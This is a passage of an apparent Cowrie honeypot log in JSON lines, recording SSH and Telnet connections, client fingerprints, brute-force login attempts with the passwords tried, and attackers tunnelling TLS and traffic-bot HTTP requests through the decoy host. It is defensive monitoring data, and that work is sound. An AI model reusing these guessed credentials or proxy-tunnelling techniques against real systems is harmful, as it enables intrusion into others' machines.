;\\xe2\\x0fP\\xacc\\xe4\\xd2i\\xf5\\tCF\\x98\\xaf\\xe5\\x1b=Ssl\\xd0\\xe9\\xa0\\xa8\\x1fg\\xc8\\xaf\\xd5\\xcbS\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:40:28.667200Z","src_ip":"23.175.50.47","session":"4c8f661ce76c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:40:28.735940Z","session":"4c8f661ce76c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:40:28.809841Z","src_ip":"23.175.50.47","session":"4c8f661ce76c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa3A\\x01D\\xb7\\xbf\\x8d\\xa7\\xc5\\x9f`G7\\xa0\\x11{+\\xb5CS\\x95\\xb1\\xafI\\x83\\xa51\\x84\\r\\x1f\\xe3\\xf2 /\\xd0\\x9c\\x8d\\x15\\xa8\\r3\\xc1\\x93mj\\xbc\\x9d\\x88\\x81\\x9eU{-5\\x86h\\xa6r\\x1e\\xccX\\x85\\xd5\\x19D\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x05\\x0b\\xe5+\\x0c\\x99@\\xefze\\x06\\x1b\\xb1\\xb6\\xc57\\xfc=\\x87?sv,ma\\xd6j\\x86\\x0f\\xfa\\x85z\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":4,"message":"discarded direct-tcp forward request 4 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa3A\\x01D\\xb7\\xbf\\x8d\\xa7\\xc5\\x9f`G7\\xa0\\x11{+\\xb5CS\\x95\\xb1\\xafI\\x83\\xa51\\x84\\r\\x1f\\xe3\\xf2 /\\xd0\\x9c\\x8d\\x15\\xa8\\r3\\xc1\\x93mj\\xbc\\x9d\\x88\\x81\\x9eU{-5\\x86h\\xa6r\\x1e\\xccX\\x85\\xd5\\x19D\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x05\\x0b\\xe5+\\x0c\\x99@\\xefze\\x06\\x1b\\xb1\\xb6\\xc57\\xfc=\\x87?sv,ma\\xd6j\\x86\\x0f\\xfa\\x85z\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:40:28.812737Z","src_ip":"23.175.50.47","session":"4c8f661ce76c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.5","message":"Connection lost after 11.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:40:30.458164Z","src_ip":"23.175.50.47","session":"4c8f661ce76c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":52168,"dst_ip":"159.203.135.109","dst_port":23,"session":"516a1e2c182b","protocol":"telnet","message":"New connection: 172.81.62.90:52168 (159.203.135.109:23) [session: 516a1e2c182b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:40:42.010157Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":49238,"dst_ip":"159.203.135.109","dst_port":23,"session":"10d67c4807a3","protocol":"telnet","message":"New connection: 128.199.8.54:49238 (159.203.135.109:23) [session: 10d67c4807a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:40:43.282870Z"}
{"eventid":"cowrie.session.closed","duration":0.004971981048583984,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:40:43.287686Z","src_ip":"128.199.8.54","session":"10d67c4807a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.13100576400757,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:41:02.468604Z","src_ip":"172.81.62.90","session":"26170326e001","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":33492,"dst_ip":"159.203.135.109","dst_port":22,"session":"c89562c0ff31","protocol":"ssh","message":"New connection: 147.45.211.215:33492 (159.203.135.109:22) [session: c89562c0ff31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:41:09.713520Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:41:09.718179Z","src_ip":"147.45.211.215","session":"c89562c0ff31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:41:09.884899Z","src_ip":"147.45.211.215","session":"c89562c0ff31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":60698,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c5c61b99291","protocol":"telnet","message":"New connection: 128.199.8.54:60698 (159.203.135.109:23) [session: 6c5c61b99291]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:41:10.195291Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"290191","message":"login attempt [root/290191] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:41:10.382202Z","src_ip":"147.45.211.215","session":"c89562c0ff31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:41:11.550189Z","src_ip":"147.45.211.215","session":"c89562c0ff31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.65.170.8","src_port":48336,"dst_ip":"159.203.135.109","dst_port":23,"session":"f25fff092aa2","protocol":"telnet","message":"New connection: 50.65.170.8:48336 (159.203.135.109:23) [session: f25fff092aa2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:41:14.026753Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":44050,"dst_ip":"159.203.135.109","dst_port":22,"session":"7fa27febae14","protocol":"ssh","message":"New connection: 27.71.230.31:44050 (159.203.135.109:22) [session: 7fa27febae14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:41:15.171202Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:41:15.281538Z","src_ip":"27.71.230.31","session":"7fa27febae14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:41:16.109222Z","src_ip":"27.71.230.31","session":"7fa27febae14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.47","src_port":62172,"dst_ip":"10.17.0.5","dst_port":22,"session":"419581420d80","protocol":"ssh","message":"New connection: 23.175.50.47:62172 (10.17.0.5:22) [session: 419581420d80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:41:18.810984Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:41:18.816828Z","src_ip":"23.175.50.47","session":"419581420d80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:41:18.911837Z","src_ip":"23.175.50.47","session":"419581420d80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Newpassword@123","message":"login attempt [root/Newpassword@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:41:19.407808Z","src_ip":"27.71.230.31","session":"7fa27febae14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.947972774505615,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:41:19.958037Z","src_ip":"172.81.62.90","session":"516a1e2c182b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:41:21.583288Z","src_ip":"27.71.230.31","session":"7fa27febae14","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:41:21.658275Z","src_ip":"23.175.50.47","session":"419581420d80","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:41:26.347730Z","session":"419581420d80","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:41:26.542203Z","src_ip":"23.175.50.47","session":"419581420d80","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Android 6.0.1; Mobile; rv:70.0) Gecko/70.0 Firefox/70.0\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1210\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=RzIzPkRCckIjaklyJDBTVQ%3D%3DERM2HygfaWovkteECKcswbZDZbPH48rg43Wn%2B7kT1ouUlnTB%2Fu0ztTJV7Ic0d8Dj%2FwOUZVn2lY%2B4lL3Qq2iBoxG2IsZg0W5Ltp%2Fy%2BmD7TbqNN5mu8qftgDo%2BklW5vZY9uXMYBoN%2B%2F%2BADA%2B8zTSZjVSVo4%2BGEQ8vbVopGnWUZxvebvpR%2FsmfSZQTzily3SQjUhHIM8hriYo%2BR9GmM6QpCuMxdQUeGqva0jtnbGCKlHU54%2F1NW2Q7x6XOM75Z%2BC9G50JnW%2FykIEHOTRptul535dzPdnVId0SIzKYYVS%2F9DnEjIx7K547DbrbO6sazzeE7QhujN5HwBmOB%2BGXBkD4v%2BY1a11wgFJL2pdg6XCn30PrhJD8sgjR3LO2quRnEwecuww6aj%2B2%2F72awpRHi5Lj2QHSxUYIHyW4hB7Q5HRERDxpWcO5VkPFIZKkaarTjgj9Mj%2FJvMYBTLZP%2BWiVg5QkqQz7JQQn6MOQT5hg72jis5e6DlvgGp1HrCZ7tJR7HToS%2F7rlYr%2BTYheCwbQvf%2FNeuv2ASdKRtdH%2FUViJp8tV%2FgAxDc%2FE4NZO3%2FLy92QVlsWSLf%2ByrVEHzX3Nc16Xia793VBH88dbKrP4b45quKrshBA5%2BQ5HR5VORL6XsEYJUpvoC%2FLarW8H%2FWJFsXBlPxGUuhf%2FI3%2BjVT1moHwvejigeFiFv88hAzBCtTR239gsZYtw%2BPQScSjEnTZLPiyxUSzOtGq5edguFdJJusY%2FlDKxK2YgHUmu8iAQEwkhtTcA1pmCVX4iA0Ek4%2FTu2vsHxfXVk4IT0Ck2ke4Oh61LqTvimks4pvU9QjsnjHEB5vYI%2FKf6vrAvoWTZZaebCjzGCDb0CV7U3bEvCmEEdRNa84n99HPnArnp389Leq7eeOjHFaK9krViWY4bMi5Ni8bHthbQftRCxjvrx6fU9uDRByKCTSl5a11k%2BUugV6Hi0FCkQ4CkUCsduCVZ4nySGGnPbf0NG%2F4lB%2FKktMVZTj6VLlObeD5keAPRTaDbempMATWEZbVwBO3IuMAXe%2BOZq7vDqwrUzWLNn56gN4T%2FMtyZT8ZF4VDb1BhMKUPM3rX0r0sNPG3NmK'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Android 6.0.1; Mobile; rv:70.0) Gecko/70.0 Firefox/70.0\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1210\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: 